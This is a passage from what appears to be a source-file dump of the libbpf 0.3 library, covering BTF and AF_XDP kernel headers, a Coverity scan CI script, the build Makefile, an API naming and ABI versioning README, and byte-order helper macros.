120 | * bitfield size is set for bitfield members. If the type
121 | * info kind_flag is not set, the offset contains only bit
122 | * offset.
123 | */
124 | __u32 offset;
125 | };
126 |
127 | /* If the struct/union type info kind_flag is set, the
128 | * following two macros are used to access bitfield_size
129 | * and bit_offset from btf_member.offset.
130 | */
131 | #define BTF_MEMBER_BITFIELD_SIZE(val) ((val) >> 24)
132 | #define BTF_MEMBER_BIT_OFFSET(val) ((val) & 0xffffff)
133 |
134 | /* BTF_KIND_FUNC_PROTO is followed by multiple "struct btf_param".
135 | * The exact number of btf_param is stored in the vlen (of the
136 | * info in "struct btf_type").
137 | */
138 | struct btf_param {
139 | __u32 name_off;
140 | __u32 type;
141 | };
142 |
143 | enum {
144 | BTF_VAR_STATIC = 0,
145 | BTF_VAR_GLOBAL_ALLOCATED = 1,
146 | BTF_VAR_GLOBAL_EXTERN = 2,
147 | };
148 |
149 | enum btf_func_linkage {
150 | BTF_FUNC_STATIC = 0,
151 | BTF_FUNC_GLOBAL = 1,
152 | BTF_FUNC_EXTERN = 2,
153 | };
154 |
155 | /* BTF_KIND_VAR is followed by a single "struct btf_var" to describe
156 | * additional information related to the variable such as its linkage.
157 | */
158 | struct btf_var {
159 | __u32 linkage;
160 | };
161 |
162 | /* BTF_KIND_DATASEC is followed by multiple "struct btf_var_secinfo"
163 | * to describe all BTF_KIND_VAR types it contains along with it's
164 | * in-section offset as well as size.
165 | */
166 | struct btf_var_secinfo {
167 | __u32 type;
168 | __u32 offset;
169 | __u32 size;
170 | };
171 |
172 | #endif /* _UAPI__LINUX_BTF_H__ */
173 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/uapi/linux/if_xdp.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
2 | /*
3 | * if_xdp: XDP socket user-space interface
4 | * Copyright(c) 2018 Intel Corporation.
5 | *
6 | * Author(s): Björn Töpel
7 | * Magnus Karlsson
8 | */
9 |
10 | #ifndef _LINUX_IF_XDP_H
11 | #define _LINUX_IF_XDP_H
12 |
13 | #include
14 |
15 | /* Options for the sxdp_flags field */
16 | #define XDP_SHARED_UMEM (1 << 0)
17 | #define XDP_COPY (1 << 1) /* Force copy-mode */
18 | #define XDP_ZEROCOPY (1 << 2) /* Force zero-copy mode */
19 | /* If this option is set, the driver might go sleep and in that case
20 | * the XDP_RING_NEED_WAKEUP flag in the fill and/or Tx rings will be
21 | * set. If it is set, the application need to explicitly wake up the
22 | * driver with a poll() (Rx and Tx) or sendto() (Tx only). If you are
23 | * running the driver and the application on the same core, you should
24 | * use this option so that the kernel will yield to the user space
25 | * application.
26 | */
27 | #define XDP_USE_NEED_WAKEUP (1 << 3)
28 |
29 | /* Flags for xsk_umem_config flags */
30 | #define XDP_UMEM_UNALIGNED_CHUNK_FLAG (1 << 0)
31 |
32 | struct sockaddr_xdp {
33 | __u16 sxdp_family;
34 | __u16 sxdp_flags;
35 | __u32 sxdp_ifindex;
36 | __u32 sxdp_queue_id;
37 | __u32 sxdp_shared_umem_fd;
38 | };
39 |
40 | /* XDP_RING flags */
41 | #define XDP_RING_NEED_WAKEUP (1 << 0)
42 |
43 | struct xdp_ring_offset {
44 | __u64 producer;
45 | __u64 consumer;
46 | __u64 desc;
47 | __u64 flags;
48 | };
49 |
50 | struct xdp_mmap_offsets {
51 | struct xdp_ring_offset rx;
52 | struct xdp_ring_offset tx;
53 | struct xdp_ring_offset fr; /* Fill */
54 | struct xdp_ring_offset cr; /* Completion */
55 | };
56 |
57 | /* XDP socket options */
58 | #define XDP_MMAP_OFFSETS 1
59 | #define XDP_RX_RING 2
60 | #define XDP_TX_RING 3
61 | #define XDP_UMEM_REG 4
62 | #define XDP_UMEM_FILL_RING 5
63 | #define XDP_UMEM_COMPLETION_RING 6
64 | #define XDP_STATISTICS 7
65 | #define XDP_OPTIONS 8
66 |
67 | struct xdp_umem_reg {
68 | __u64 addr; /* Start of packet data area */
69 | __u64 len; /* Length of packet data area */
70 | __u32 chunk_size;
71 | __u32 headroom;
72 | __u32 flags;
73 | };
74 |
75 | struct xdp_statistics {
76 | __u64 rx_dropped; /* Dropped for other reasons */
77 | __u64 rx_invalid_descs; /* Dropped due to invalid descriptor */
78 | __u64 tx_invalid_descs; /* Dropped due to invalid descriptor */
79 | __u64 rx_ring_full; /* Dropped due to rx ring being full */
80 | __u64 rx_fill_ring_empty_descs; /* Failed to retrieve item from fill ring */
81 | __u64 tx_ring_empty_descs; /* Failed to retrieve item from tx ring */
82 | };
83 |
84 | struct xdp_options {
85 | __u32 flags;
86 | };
87 |
88 | /* Flags for the flags field of struct xdp_options */
89 | #define XDP_OPTIONS_ZEROCOPY (1 << 0)
90 |
91 | /* Pgoff for mmaping the rings */
92 | #define XDP_PGOFF_RX_RING 0
93 | #define XDP_PGOFF_TX_RING 0x80000000
94 | #define XDP_UMEM_PGOFF_FILL_RING 0x100000000ULL
95 | #define XDP_UMEM_PGOFF_COMPLETION_RING 0x180000000ULL
96 |
97 | /* Masks for unaligned chunks mode */
98 | #define XSK_UNALIGNED_BUF_OFFSET_SHIFT 48
99 | #define XSK_UNALIGNED_BUF_ADDR_MASK \
100 | ((1ULL << XSK_UNALIGNED_BUF_OFFSET_SHIFT) - 1)
101 |
102 | /* Rx/Tx descriptor */
103 | struct xdp_desc {
104 | __u64 addr;
105 | __u32 len;
106 | __u32 options;
107 | };
108 |
109 | /* UMEM descriptor is __u64 */
110 |
111 | #endif /* _LINUX_IF_XDP_H */
112 |
--------------------------------------------------------------------------------
/libbpf-0.3/scripts/coverity.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Taken from: https://scan.coverity.com/scripts/travisci_build_coverity_scan.sh
3 | # Local changes are annotated with "#[local]"
4 |
5 | set -e
6 |
7 | # Environment check
8 | echo -e "\033[33;1mNote: COVERITY_SCAN_PROJECT_NAME and COVERITY_SCAN_TOKEN are available on Project Settings page on scan.coverity.com\033[0m"
9 | [ -z "$COVERITY_SCAN_PROJECT_NAME" ] && echo "ERROR: COVERITY_SCAN_PROJECT_NAME must be set" && exit 1
10 | [ -z "$COVERITY_SCAN_NOTIFICATION_EMAIL" ] && echo "ERROR: COVERITY_SCAN_NOTIFICATION_EMAIL must be set" && exit 1
11 | [ -z "$COVERITY_SCAN_BRANCH_PATTERN" ] && echo "ERROR: COVERITY_SCAN_BRANCH_PATTERN must be set" && exit 1
12 | [ -z "$COVERITY_SCAN_BUILD_COMMAND" ] && echo "ERROR: COVERITY_SCAN_BUILD_COMMAND must be set" && exit 1
13 | [ -z "$COVERITY_SCAN_TOKEN" ] && echo "ERROR: COVERITY_SCAN_TOKEN must be set" && exit 1
14 |
15 | PLATFORM=`uname`
16 | #[local] Use /var/tmp for TOOL_ARCHIVE and TOOL_BASE, as on certain systems
17 | # /tmp is tmpfs and is sometimes too small to handle all necessary tooling
18 | TOOL_ARCHIVE=/var//tmp/cov-analysis-${PLATFORM}.tgz
19 | TOOL_URL=https://scan.coverity.com/download/${PLATFORM}
20 | TOOL_BASE=/var/tmp/coverity-scan-analysis
21 | UPLOAD_URL="https://scan.coverity.com/builds"
22 | SCAN_URL="https://scan.coverity.com"
23 |
24 | # Do not run on pull requests
25 | if [ "${TRAVIS_PULL_REQUEST}" = "true" ]; then
26 | echo -e "\033[33;1mINFO: Skipping Coverity Analysis: branch is a pull request.\033[0m"
27 | exit 0
28 | fi
29 |
30 | # Verify this branch should run
31 | IS_COVERITY_SCAN_BRANCH=`ruby -e "puts '${TRAVIS_BRANCH}' =~ /\\A$COVERITY_SCAN_BRANCH_PATTERN\\z/ ? 1 : 0"`
32 | if [ "$IS_COVERITY_SCAN_BRANCH" = "1" ]; then
33 | echo -e "\033[33;1mCoverity Scan configured to run on branch ${TRAVIS_BRANCH}\033[0m"
34 | else
35 | echo -e "\033[33;1mCoverity Scan NOT configured to run on branch ${TRAVIS_BRANCH}\033[0m"
36 | exit 1
37 | fi
38 |
39 | # Verify upload is permitted
40 | AUTH_RES=`curl -s --form project="$COVERITY_SCAN_PROJECT_NAME" --form token="$COVERITY_SCAN_TOKEN" $SCAN_URL/api/upload_permitted`
41 | if [ "$AUTH_RES" = "Access denied" ]; then
42 | echo -e "\033[33;1mCoverity Scan API access denied. Check COVERITY_SCAN_PROJECT_NAME and COVERITY_SCAN_TOKEN.\033[0m"
43 | exit 1
44 | else
45 | AUTH=`echo $AUTH_RES | ruby -e "require 'rubygems'; require 'json'; puts JSON[STDIN.read]['upload_permitted']"`
46 | if [ "$AUTH" = "true" ]; then
47 | echo -e "\033[33;1mCoverity Scan analysis authorized per quota.\033[0m"
48 | else
49 | WHEN=`echo $AUTH_RES | ruby -e "require 'rubygems'; require 'json'; puts JSON[STDIN.read]['next_upload_permitted_at']"`
50 | echo -e "\033[33;1mCoverity Scan analysis NOT authorized until $WHEN.\033[0m"
51 | exit 0
52 | fi
53 | fi
54 |
55 | if [ ! -d $TOOL_BASE ]; then
56 | # Download Coverity Scan Analysis Tool
57 | if [ ! -e $TOOL_ARCHIVE ]; then
58 | echo -e "\033[33;1mDownloading Coverity Scan Analysis Tool...\033[0m"
59 | wget -nv -O $TOOL_ARCHIVE $TOOL_URL --post-data "project=$COVERITY_SCAN_PROJECT_NAME&token=$COVERITY_SCAN_TOKEN"
60 | fi
61 |
62 | # Extract Coverity Scan Analysis Tool
63 | echo -e "\033[33;1mExtracting Coverity Scan Analysis Tool...\033[0m"
64 | mkdir -p $TOOL_BASE
65 | pushd $TOOL_BASE
66 | tar xzf $TOOL_ARCHIVE
67 | popd
68 | fi
69 |
70 | TOOL_DIR=`find $TOOL_BASE -type d -name 'cov-analysis*'`
71 | export PATH=$TOOL_DIR/bin:$PATH
72 |
73 | # Build
74 | echo -e "\033[33;1mRunning Coverity Scan Analysis Tool...\033[0m"
75 | COV_BUILD_OPTIONS=""
76 | #COV_BUILD_OPTIONS="--return-emit-failures 8 --parse-error-threshold 85"
77 | RESULTS_DIR="cov-int"
78 | eval "${COVERITY_SCAN_BUILD_COMMAND_PREPEND}"
79 | COVERITY_UNSUPPORTED=1 cov-build --dir $RESULTS_DIR $COV_BUILD_OPTIONS $COVERITY_SCAN_BUILD_COMMAND
80 | cov-import-scm --dir $RESULTS_DIR --scm git --log $RESULTS_DIR/scm_log.txt 2>&1
81 |
82 | # Upload results
83 | echo -e "\033[33;1mTarring Coverity Scan Analysis results...\033[0m"
84 | RESULTS_ARCHIVE=analysis-results.tgz
85 | tar czf $RESULTS_ARCHIVE $RESULTS_DIR
86 | SHA=`git rev-parse --short HEAD`
87 |
88 | echo -e "\033[33;1mUploading Coverity Scan Analysis results...\033[0m"
89 | response=$(curl \
90 | --silent --write-out "\n%{http_code}\n" \
91 | --form project=$COVERITY_SCAN_PROJECT_NAME \
92 | --form token=$COVERITY_SCAN_TOKEN \
93 | --form email=$COVERITY_SCAN_NOTIFICATION_EMAIL \
94 | --form file=@$RESULTS_ARCHIVE \
95 | --form version=$SHA \
96 | --form description="Travis CI build" \
97 | $UPLOAD_URL)
98 | status_code=$(echo "$response" | sed -n '$p')
99 | #[local] Coverity used to return 201 on success, but it's 200 now
100 | # See https://github.com/systemd/systemd/blob/master/tools/coverity.sh#L145
101 | if [ "$status_code" != "200" ]; then
102 | TEXT=$(echo "$response" | sed '$d')
103 | echo -e "\033[33;1mCoverity Scan upload failed: $TEXT.\033[0m"
104 | exit 1
105 | fi
106 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 | *.a
3 | /libbpf.pc
4 | /libbpf.so*
5 | /staticobjs
6 | /sharedobjs
7 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/Makefile:
--------------------------------------------------------------------------------
1 | # SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 |
3 | ifeq ($(V),1)
4 | Q =
5 | msg =
6 | else
7 | Q = @
8 | msg = @printf ' %-8s %s%s\n' "$(1)" "$(notdir $(2))" "$(if $(3), $(3))";
9 | endif
10 |
11 | LIBBPF_VERSION := $(shell \
12 | grep -oE '^LIBBPF_([0-9.]+)' libbpf.map | \
13 | sort -rV | head -n1 | cut -d'_' -f2)
14 | LIBBPF_MAJOR_VERSION := $(firstword $(subst ., ,$(LIBBPF_VERSION)))
15 |
16 | TOPDIR = ..
17 |
18 | INCLUDES := -I. -I$(TOPDIR)/include -I$(TOPDIR)/include/uapi
19 | ALL_CFLAGS := $(INCLUDES)
20 |
21 | SHARED_CFLAGS += -fPIC -fvisibility=hidden -DSHARED
22 |
23 | CFLAGS ?= -g -O2 -Werror -Wall
24 | ALL_CFLAGS += $(CFLAGS) -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64
25 | ALL_LDFLAGS += $(LDFLAGS)
26 | ifdef NO_PKG_CONFIG
27 | ALL_LDFLAGS += -lelf -lz
28 | else
29 | PKG_CONFIG ?= pkg-config
30 | ALL_CFLAGS += $(shell $(PKG_CONFIG) --cflags libelf zlib)
31 | ALL_LDFLAGS += $(shell $(PKG_CONFIG) --libs libelf zlib)
32 | endif
33 |
34 | OBJDIR ?= .
35 | SHARED_OBJDIR := $(OBJDIR)/sharedobjs
36 | STATIC_OBJDIR := $(OBJDIR)/staticobjs
37 | OBJS := bpf.o btf.o libbpf.o libbpf_errno.o netlink.o \
38 | nlattr.o str_error.o libbpf_probes.o bpf_prog_linfo.o xsk.o \
39 | btf_dump.o hashmap.o ringbuf.o
40 | SHARED_OBJS := $(addprefix $(SHARED_OBJDIR)/,$(OBJS))
41 | STATIC_OBJS := $(addprefix $(STATIC_OBJDIR)/,$(OBJS))
42 |
43 | STATIC_LIBS := $(OBJDIR)/libbpf.a
44 | ifndef BUILD_STATIC_ONLY
45 | SHARED_LIBS := $(OBJDIR)/libbpf.so \
46 | $(OBJDIR)/libbpf.so.$(LIBBPF_MAJOR_VERSION) \
47 | $(OBJDIR)/libbpf.so.$(LIBBPF_VERSION)
48 | VERSION_SCRIPT := libbpf.map
49 | endif
50 |
51 | HEADERS := bpf.h libbpf.h btf.h xsk.h libbpf_util.h \
52 | bpf_helpers.h bpf_helper_defs.h bpf_tracing.h \
53 | bpf_endian.h bpf_core_read.h libbpf_common.h
54 | UAPI_HEADERS := $(addprefix $(TOPDIR)/include/uapi/linux/,\
55 | bpf.h bpf_common.h btf.h)
56 |
57 | PC_FILE := $(OBJDIR)/libbpf.pc
58 |
59 | INSTALL = install
60 |
61 | DESTDIR ?=
62 |
63 | ifeq ($(shell uname -m),x86_64)
64 | LIBSUBDIR := lib64
65 | else
66 | LIBSUBDIR := lib
67 | endif
68 |
69 | # By default let the pc file itself use ${prefix} in includedir/libdir so that
70 | # the prefix can be overridden at runtime (eg: --define-prefix)
71 | ifndef LIBDIR
72 | LIBDIR_PC := $$\{prefix\}/$(LIBSUBDIR)
73 | else
74 | LIBDIR_PC := $(LIBDIR)
75 | endif
76 | PREFIX ?= /usr
77 | LIBDIR ?= $(PREFIX)/$(LIBSUBDIR)
78 | INCLUDEDIR ?= $(PREFIX)/include
79 | UAPIDIR ?= $(PREFIX)/include
80 |
81 | TAGS_PROG := $(if $(shell which etags 2>/dev/null),etags,ctags)
82 |
83 | all: $(STATIC_LIBS) $(SHARED_LIBS) $(PC_FILE)
84 |
85 | $(OBJDIR)/libbpf.a: $(STATIC_OBJS)
86 | $(call msg,AR,$@)
87 | $(Q)$(AR) rcs $@ $^
88 |
89 | $(OBJDIR)/libbpf.so: $(OBJDIR)/libbpf.so.$(LIBBPF_MAJOR_VERSION)
90 | $(Q)ln -sf $(^F) $@
91 |
92 | $(OBJDIR)/libbpf.so.$(LIBBPF_MAJOR_VERSION): $(OBJDIR)/libbpf.so.$(LIBBPF_VERSION)
93 | $(Q)ln -sf $(^F) $@
94 |
95 | $(OBJDIR)/libbpf.so.$(LIBBPF_VERSION): $(SHARED_OBJS)
96 | $(call msg,CC,$@)
97 | $(Q)$(CC) -shared -Wl,--version-script=$(VERSION_SCRIPT) \
98 | -Wl,-soname,libbpf.so.$(LIBBPF_MAJOR_VERSION) \
99 | $^ $(ALL_LDFLAGS) -o $@
100 |
101 | $(OBJDIR)/libbpf.pc:
102 | $(Q)sed -e "s|@PREFIX@|$(PREFIX)|" \
103 | -e "s|@LIBDIR@|$(LIBDIR_PC)|" \
104 | -e "s|@VERSION@|$(LIBBPF_VERSION)|" \
105 | < libbpf.pc.template > $@
106 |
107 | $(STATIC_OBJDIR) $(SHARED_OBJDIR):
108 | $(call msg,MKDIR,$@)
109 | $(Q)mkdir -p $@
110 |
111 | $(STATIC_OBJDIR)/%.o: %.c | $(STATIC_OBJDIR)
112 | $(call msg,CC,$@)
113 | $(Q)$(CC) $(ALL_CFLAGS) $(CPPFLAGS) -c $< -o $@
114 |
115 | $(SHARED_OBJDIR)/%.o: %.c | $(SHARED_OBJDIR)
116 | $(call msg,CC,$@)
117 | $(Q)$(CC) $(ALL_CFLAGS) $(SHARED_CFLAGS) $(CPPFLAGS) -c $< -o $@
118 |
119 | define do_install
120 | $(call msg,INSTALL,$1)
121 | $(Q)if [ ! -d '$(DESTDIR)$2' ]; then \
122 | $(INSTALL) -d -m 755 '$(DESTDIR)$2'; \
123 | fi;
124 | $(Q)$(INSTALL) $1 $(if $3,-m $3,) '$(DESTDIR)$2'
125 | endef
126 |
127 | # Preserve symlinks at installation.
128 | define do_s_install
129 | $(call msg,INSTALL,$1)
130 | $(Q)if [ ! -d '$(DESTDIR)$2' ]; then \
131 | $(INSTALL) -d -m 755 '$(DESTDIR)$2'; \
132 | fi;
133 | $(Q)cp -fpR $1 '$(DESTDIR)$2'
134 | endef
135 |
136 | install: all install_headers install_pkgconfig
137 | $(call do_s_install,$(STATIC_LIBS) $(SHARED_LIBS),$(LIBDIR))
138 |
139 | install_headers:
140 | $(call do_install,$(HEADERS),$(INCLUDEDIR)/bpf,644)
141 |
142 | # UAPI headers can be installed by a different package so they're not installed
143 | # in by install rule.
144 | install_uapi_headers:
145 | $(call do_install,$(UAPI_HEADERS),$(UAPIDIR)/linux,644)
146 |
147 | install_pkgconfig: $(PC_FILE)
148 | $(call do_install,$(PC_FILE),$(LIBDIR)/pkgconfig,644)
149 |
150 | clean:
151 | $(call msg,CLEAN)
152 | $(Q)rm -rf *.o *.a *.so *.so.* *.pc $(SHARED_OBJDIR) $(STATIC_OBJDIR)
153 |
154 | .PHONY: cscope tags
155 | cscope:
156 | $(call msg,CSCOPE)
157 | $(Q)ls *.c *.h > cscope.files
158 | $(Q)cscope -b -q -f cscope.out
159 |
160 | tags:
161 | $(call msg,CTAGS)
162 | $(Q)rm -f TAGS tags
163 | $(Q)ls *.c *.h | xargs $(TAGS_PROG) -a
164 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/README.rst:
--------------------------------------------------------------------------------
1 | .. SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 |
3 | libbpf API naming convention
4 | ============================
5 |
6 | libbpf API provides access to a few logically separated groups of
7 | functions and types. Every group has its own naming convention
8 | described here. It's recommended to follow these conventions whenever a
9 | new function or type is added to keep libbpf API clean and consistent.
10 |
11 | All types and functions provided by libbpf API should have one of the
12 | following prefixes: ``bpf_``, ``btf_``, ``libbpf_``, ``xsk_``,
13 | ``perf_buffer_``.
14 |
15 | System call wrappers
16 | --------------------
17 |
18 | System call wrappers are simple wrappers for commands supported by
19 | sys_bpf system call. These wrappers should go to ``bpf.h`` header file
20 | and map one-on-one to corresponding commands.
21 |
22 | For example ``bpf_map_lookup_elem`` wraps ``BPF_MAP_LOOKUP_ELEM``
23 | command of sys_bpf, ``bpf_prog_attach`` wraps ``BPF_PROG_ATTACH``, etc.
24 |
25 | Objects
26 | -------
27 |
28 | Another class of types and functions provided by libbpf API is "objects"
29 | and functions to work with them. Objects are high-level abstractions
30 | such as BPF program or BPF map. They're represented by corresponding
31 | structures such as ``struct bpf_object``, ``struct bpf_program``,
32 | ``struct bpf_map``, etc.
33 |
34 | Structures are forward declared and access to their fields should be
35 | provided via corresponding getters and setters rather than directly.
36 |
37 | These objects are associated with corresponding parts of ELF object that
38 | contains compiled BPF programs.
39 |
40 | For example ``struct bpf_object`` represents ELF object itself created
41 | from an ELF file or from a buffer, ``struct bpf_program`` represents a
42 | program in ELF object and ``struct bpf_map`` is a map.
43 |
44 | Functions that work with an object have names built from object name,
45 | double underscore and part that describes function purpose.
46 |
47 | For example ``bpf_object__open`` consists of the name of corresponding
48 | object, ``bpf_object``, double underscore and ``open`` that defines the
49 | purpose of the function to open ELF file and create ``bpf_object`` from
50 | it.
51 |
52 | Another example: ``bpf_program__load`` is named for corresponding
53 | object, ``bpf_program``, that is separated from other part of the name
54 | by double underscore.
55 |
56 | All objects and corresponding functions other than BTF related should go
57 | to ``libbpf.h``. BTF types and functions should go to ``btf.h``.
58 |
59 | Auxiliary functions
60 | -------------------
61 |
62 | Auxiliary functions and types that don't fit well in any of categories
63 | described above should have ``libbpf_`` prefix, e.g.
64 | ``libbpf_get_error`` or ``libbpf_prog_type_by_name``.
65 |
66 | AF_XDP functions
67 | -------------------
68 |
69 | AF_XDP functions should have an ``xsk_`` prefix, e.g.
70 | ``xsk_umem__get_data`` or ``xsk_umem__create``. The interface consists
71 | of both low-level ring access functions and high-level configuration
72 | functions. These can be mixed and matched. Note that these functions
73 | are not reentrant for performance reasons.
74 |
75 | Please take a look at Documentation/networking/af_xdp.rst in the Linux
76 | kernel source tree on how to use XDP sockets and for some common
77 | mistakes in case you do not get any traffic up to user space.
78 |
79 | libbpf ABI
80 | ==========
81 |
82 | libbpf can be both linked statically or used as DSO. To avoid possible
83 | conflicts with other libraries an application is linked with, all
84 | non-static libbpf symbols should have one of the prefixes mentioned in
85 | API documentation above. See API naming convention to choose the right
86 | name for a new symbol.
87 |
88 | Symbol visibility
89 | -----------------
90 |
91 | libbpf follow the model when all global symbols have visibility "hidden"
92 | by default and to make a symbol visible it has to be explicitly
93 | attributed with ``LIBBPF_API`` macro. For example:
94 |
95 | .. code-block:: c
96 |
97 | LIBBPF_API int bpf_prog_get_fd_by_id(__u32 id);
98 |
99 | This prevents from accidentally exporting a symbol, that is not supposed
100 | to be a part of ABI what, in turn, improves both libbpf developer- and
101 | user-experiences.
102 |
103 | ABI versionning
104 | ---------------
105 |
106 | To make future ABI extensions possible libbpf ABI is versioned.
107 | Versioning is implemented by ``libbpf.map`` version script that is
108 | passed to linker.
109 |
110 | Version name is ``LIBBPF_`` prefix + three-component numeric version,
111 | starting from ``0.0.1``.
112 |
113 | Every time ABI is being changed, e.g. because a new symbol is added or
114 | semantic of existing symbol is changed, ABI version should be bumped.
115 | This bump in ABI version is at most once per kernel development cycle.
116 |
117 | For example, if current state of ``libbpf.map`` is:
118 |
119 | .. code-block::
120 | LIBBPF_0.0.1 {
121 | global:
122 | bpf_func_a;
123 | bpf_func_b;
124 | local:
125 | \*;
126 | };
127 |
128 | , and a new symbol ``bpf_func_c`` is being introduced, then
129 | ``libbpf.map`` should be changed like this:
130 |
131 | .. code-block::
132 | LIBBPF_0.0.1 {
133 | global:
134 | bpf_func_a;
135 | bpf_func_b;
136 | local:
137 | \*;
138 | };
139 | LIBBPF_0.0.2 {
140 | global:
141 | bpf_func_c;
142 | } LIBBPF_0.0.1;
143 |
144 | , where new version ``LIBBPF_0.0.2`` depends on the previous
145 | ``LIBBPF_0.0.1``.
146 |
147 | Format of version script and ways to handle ABI changes, including
148 | incompatible ones, described in details in [1].
149 |
150 | Stand-alone build
151 | =================
152 |
153 | Under https://github.com/libbpf/libbpf there is a (semi-)automated
154 | mirror of the mainline's version of libbpf for a stand-alone build.
155 |
156 | However, all changes to libbpf's code base must be upstreamed through
157 | the mainline kernel tree.
158 |
159 | License
160 | =======
161 |
162 | libbpf is dual-licensed under LGPL 2.1 and BSD 2-Clause.
163 |
164 | Links
165 | =====
166 |
167 | [1] https://www.akkadia.org/drepper/dsohowto.pdf
168 | (Chapter 3. Maintaining APIs and ABIs).
169 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/bpf_endian.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 | #ifndef __BPF_ENDIAN__
3 | #define __BPF_ENDIAN__
4 |
5 | /*
6 | * Isolate byte #n and put it into byte #m, for __u##b type.
7 | * E.g., moving byte #6 (nnnnnnnn) into byte #1 (mmmmmmmm) for __u64:
8 | * 1) xxxxxxxx nnnnnnnn xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx mmmmmmmm xxxxxxxx
9 | * 2) nnnnnnnn xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx mmmmmmmm xxxxxxxx 00000000
10 | * 3) 00000000 00000000 00000000 00000000 00000000 00000000 00000000 nnnnnnnn
11 | * 4) 00000000 00000000 00000000 00000000 00000000 00000000 nnnnnnnn 00000000
12 | */
13 | #define ___bpf_mvb(x, b, n, m) ((__u##b)(x) << (b-(n+1)*8) >> (b-8) << (m*8))
14 |
15 | #define ___bpf_swab16(x) ((__u16)( \
16 | ___bpf_mvb(x, 16, 0, 1) | \
17 | ___bpf_mvb(x, 16, 1, 0)))
18 |
19 | #define ___bpf_swab32(x) ((__u32)( \
20 | ___bpf_mvb(x, 32, 0, 3) | \
21 | ___bpf_mvb(x, 32, 1, 2) | \
22 | ___bpf_mvb(x, 32, 2, 1) | \
23 | ___bpf_mvb(x, 32, 3, 0)))
24 |
25 | #define ___bpf_swab64(x) ((__u64)( \
26 | ___bpf_mvb(x, 64, 0, 7) | \
27 | ___bpf_mvb(x, 64, 1, 6) | \
28 | ___bpf_mvb(x, 64, 2, 5) | \
29 | ___bpf_mvb(x, 64, 3, 4) | \
30 | ___bpf_mvb(x, 64, 4, 3) | \
31 | ___bpf_mvb(x, 64, 5, 2) | \
32 | ___bpf_mvb(x, 64, 6, 1) | \
33 | ___bpf_mvb(x, 64, 7, 0)))
34 |
35 | /* LLVM's BPF target selects the endianness of the CPU
36 | * it compiles on, or the user specifies (bpfel/bpfeb),
37 | * respectively. The used __BYTE_ORDER__ is defined by
38 | * the compiler, we cannot rely on __BYTE_ORDER from
39 | * libc headers, since it doesn't reflect the actual
40 | * requested byte order.
41 | *
42 | * Note, LLVM's BPF target has different __builtin_bswapX()
43 | * semantics. It does map to BPF_ALU | BPF_END | BPF_TO_BE
44 | * in bpfel and bpfeb case, which means below, that we map
45 | * to cpu_to_be16(). We could use it unconditionally in BPF
46 | * case, but better not rely on it, so that this header here
47 | * can be used from application and BPF program side, which
48 | * use different targets.
49 | */
50 | #if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
51 | # define __bpf_ntohs(x) __builtin_bswap16(x)
52 | # define __bpf_htons(x) __builtin_bswap16(x)
53 | # define __bpf_constant_ntohs(x) ___bpf_swab16(x)
54 | # define __bpf_constant_htons(x) ___bpf_swab16(x)
55 | # define __bpf_ntohl(x) __builtin_bswap32(x)
56 | # define __bpf_htonl(x) __builtin_bswap32(x)
57 | # define __bpf_constant_ntohl(x) ___bpf_swab32(x)
58 | # define __bpf_constant_htonl(x) ___bpf_swab32(x)
59 | # define __bpf_be64_to_cpu(x) __builtin_bswap64(x)
60 | # define __bpf_cpu_to_be64(x) __builtin_bswap64(x)
61 | # define __bpf_constant_be64_to_cpu(x) ___bpf_swab64(x)
62 | # define __bpf_constant_cpu_to_be64(x) ___bpf_swab64(x)
63 | #elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
64 | # define __bpf_ntohs(x) (x)
65 | # define __bpf_htons(x) (x)
66 | # define __bpf_constant_ntohs(x) (x)
67 | # define __bpf_constant_htons(x) (x)
68 | # define __bpf_ntohl(x) (x)
69 | # define __bpf_htonl(x) (x)
70 | # define __bpf_constant_ntohl(x) (x)
71 | # define __bpf_constant_htonl(x) (x)
72 | # define __bpf_be64_to_cpu(x) (x)
73 | # define __bpf_cpu_to_be64(x) (x)
74 | # define __bpf_constant_be64_to_cpu(x) (x)
75 | # define __bpf_constant_cpu_to_be64(x) (x)
76 | #else
77 | # error "Fix your compiler's __BYTE_ORDER__?!"
78 | #endif
79 |
80 | #define bpf_htons(x) \
81 | (__builtin_constant_p(x) ? \
82 | __bpf_constant_htons(x) : __bpf_htons(x))
83 | #define bpf_ntohs(x) \
84 | (__builtin_constant_p(x) ? \
85 | __bpf_constant_ntohs(x) : __bpf_ntohs(x))
86 | #define bpf_htonl(x) \
87 | (__builtin_constant_p(x) ? \
88 | __bpf_constant_htonl(x) : __bpf_htonl(x))
89 | #define bpf_ntohl(x) \
90 | (__builtin_constant_p(x) ? \
91 | __bpf_constant_ntohl(x) : __bpf_ntohl(x))
92 | #define bpf_cpu_to_be64(x) \
93 | (__builtin_constant_p(x) ? \
94 | __bpf_constant_cpu_to_be64(x) : __bpf_cpu_to_be64(x))
95 | #define bpf_be64_to_cpu(x) \
96 | (__builtin_constant_p(x) ? \
97 | __bpf_constant_be64_to_cpu(x) : __bpf_be64_to_cpu(x))
98 |
99 | #endif /* __BPF_ENDIAN__ */
100 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/bpf_helpers.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 | #ifndef __BPF_HELPERS__
3 | #define __BPF_HELPERS__
4 |
5 | /*
6 | * Note that bpf programs need to include either
7 | * vmlinux.h (auto-generated from BTF) or linux/types.h
8 | * in advance since bpf_helper_defs.h uses such types
9 | * as __u64.
10 | */
11 | #include "bpf_helper_defs.h"
12 |
13 | #define __uint(name, val) int (*name)[val]
14 | #define __type(name, val) typeof(val) *name
15 | #define __array(name, val) typeof(val) *name[]
16 |
